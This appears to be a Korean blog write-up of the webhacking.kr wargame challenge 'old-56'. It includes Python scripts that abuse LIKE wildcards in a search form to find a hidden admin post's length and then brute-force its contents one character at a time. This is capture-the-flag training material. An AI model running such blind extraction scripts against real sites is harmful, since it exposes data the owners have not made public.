d0r1

[webhacking] old-56 본문

webhacking

[webhacking] old-56

d0r1 2023. 11. 7. 16:48

삽질하다가 3시간 걸렸다..... 생각보다 어려웠다

다음과 같은 페이지가 출력된다

각각 버튼을 눌러보면, admin의 게시글은 거부 그리고 guest는 hello~ 로 출력된다

 

여기서 우리는 admin의 readme를 읽어야한다

 

search는 subject 내의 내용을 읽어서 검색을 한다

 

elo 만 쳐도 hi가 출력되는 것을 보아

아무래도, %{input}% 으로 이루어진거 같다

 

_를 넣었더니, 두 개의 값이 떴다.

즉, _ 와일드카드가 작동하는 말이다

 

와일드카드가 작동하므로

와일드카드를 통해 readme의 내용을 파악할 수 있다.

 

예를 들자면, f_______ 이런식으로 말이다

그러나, %에 의해 중간지점도 파악될 수 있기 때문에 _를 통해 몇자리인지 파악하는게 우선이다

 

import requests

url = "https://webhacking.kr/challenge/web-33/index.php"


count = 1
text = "_"
for i in range(0, 100):
    text += "_"
    print(text)
    count += 1
    datas = {"search":text}
    res = requests.post(url, data=datas)
    if "admin" not in res.text:
        break

 

다음의 코드를 통해 총 45자리로 이루어져있음을 확인할 수 있다

 

다음은 자리를 알았으므로 pw가 어떻게 이루어져 있는지 파악해야 한다

 

그러나, 조심해야 할 것이 있다.

와일드카드에 의해 admin이 출력되는 경우가 있기 때문에

해당 케이스를 제외하고 짜야한다

pw = ""
tmp= "F"
for b in range(count):
	print("[+Round 1] :"+str(b))
	for j in range(33,126):
		if j == 37:
			continue
		datas = {'search' : tmp + chr(j)}
		r = requests.post(url=url , data = datas)
		if('admin' in r.text):
			print(chr(j))
			tmp+= chr(j)
			pw= tmp
			print(pw)
			break
		

print(pw)

이렇게하면 플래그가 출력되는 모습을 확인할 수 있다

'webhacking' 카테고리의 다른 글

[webhacking] old 61  (0) 2023.11.10
[webhacking] old 7  (0) 2023.11.08
[webhacking] old-49  (0) 2023.11.07
[webhacking] old-02  (0) 2023.11.07
[webhacking.kr] old-23  (0) 2023.08.29